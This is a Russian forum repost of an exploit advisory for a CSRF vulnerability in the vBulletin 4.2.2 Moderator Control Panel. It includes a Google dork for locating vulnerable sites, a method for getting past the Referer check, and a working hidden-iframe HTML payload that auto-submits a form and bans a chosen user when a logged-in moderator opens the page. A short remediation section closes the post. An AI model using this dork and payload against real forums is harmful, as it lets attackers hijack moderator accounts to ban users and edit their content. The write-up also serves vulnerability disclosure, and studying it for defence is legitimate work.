Ваш ключ: необходима авторизация | MyProxy - бесплатный обменник валидных прокси между пользователями форума.

vBulletin 4.2.2 Moderator Control Panel 4.2.2 CSRF Vulnerability

Тема в разделе vBulletin, создана пользователем ERROR404, 26 дек 2014.

Войдите для ответа
  1. ERROR404 Администратор

    ERROR404
    Статус:
    Вне сети
    # Exploit Title: vBulletin Moderator Control Panel CSRF
    # Google Dork: "Powered by vBulletin Version 4.2.2"
    # Date: 16-12-2014
    # Exploit Author: Tomescu Daniel
    # Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
    # Software Link: Premium
    # Version: vBulletin 4.2.2
    # Tested on: Chrome and Firefox
    # Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst
    
    
    ### 1. Description
    
    vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.
    
    vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.
    
    This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.
    
    ### 2. Proof of Concept
    
    The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
    
    <iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
    src='data:text/html,
    <html>
    <body>
    <iframe style="display:none" name="csrf-frame"></iframe>
    <form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
    <input type="hidden" name="do" value="dobanuser" >
    <input type="hidden" name="adminhash" value="" >
    <input type="hidden" name="securitytoken" value="" >
    <input type="hidden" name="username" value="UserToBeBanned" >
    <input type="hidden" name="usergroupid" value="8" >
    <input type="hidden" name="period" value="D_7" >
    <input type="hidden" name="reason" value="Banned with CSRF" >
    <input type="submit" value="submit">
    </form>
    <script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
    </body>
    </html>'>
    </iframe>
    
    As a result, the user with the username "UserToBeBanned" will be added to the banned users list.
    
    ### 3. Solution:
    
    Do not allow POST requests without a Referer header.
    Verify "adminhash" and "securitytoken" to be valid.
    [/CODE]
     
    26 дек 2014 #1
Загрузка...
Похожие темы
  1. ERROR404
    Ответов:
    1
    Просмотров:
    557
  2. ERROR404
    Ответов:
    0
    Просмотров:
    405
  3. ERROR404
    Ответов:
    0
    Просмотров:
    358
  4. ERROR404
    Ответов:
    0
    Просмотров:
    364
  5. ERROR404
    Ответов:
    0
    Просмотров:
    326
Top